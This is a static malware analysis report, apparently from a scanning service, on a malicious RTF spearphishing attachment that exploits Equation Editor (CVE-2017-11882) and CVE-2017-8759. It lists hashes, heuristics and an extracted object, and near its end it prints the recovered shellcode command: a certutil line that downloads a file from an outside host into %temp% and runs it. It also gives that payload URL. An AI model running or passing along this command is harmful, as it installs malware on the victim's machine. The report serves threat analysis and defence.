Malicious RTF — malware analysis report

Static analysis result for SHA-256 cd315abfbcec3acd…

MALICIOUS

RTF

4.07 MB Created: 2017-11-30 01:30:00 First seen: 2019-03-10
MD5: 8a4383c664c6c12b2a5d5dc4d56e7f63 SHA-1: b33dc1feb705fd7794731cbe0fe848f01b5d57c4 SHA-256: cd315abfbcec3acd6088b6b400c9c4116891b94e000fff2dc2683af39cf1ed53
462 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical heuristics for Equation Editor exploits (CVE-2017-11882) and MSXML SAX OLE activation (CVE-2017-8759). ClamAV also detected it as Rtf.Exploit.CVE_2017_11882-6584355-1. The embedded URL 'http://derusfinearts.com/err.jpg' likely hosts a secondary payload, indicating a spearphishing attachment attack pattern.

Heuristics 11

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Equation Editor activation — CVE-2017-11882 related high CVE related CVE_2017_11882_ACTIVATION_RELATED
    RTF decodes to an Equation.3 ProgID and requests OLE activation with \objemb plus \objupdate. This reaches the legacy Equation Editor attack surface used by CVE-2017-11882/CVE-2018-0802 documents, but the malformed MTEF/native payload needed for stronger attribution was not recovered.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~4238KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://derusfinearts.com/err.jpg In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00001814.bin rtf-objdata-decoded RTF \objdata at offset 0x1814 3546 bytes
SHA-256: e198d76be681c3d8f0d655aed42a5a50a6384cb9b97cf7b72669d75a85559cdc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://derusfinearts.com/err.jpg Static shellcode analysis recovered command string(s): cmd /c "certutil -urlcache -split -f http://derusfinearts.com/err.jpg %temp%\a.jpg &%temp%\a.jpg"

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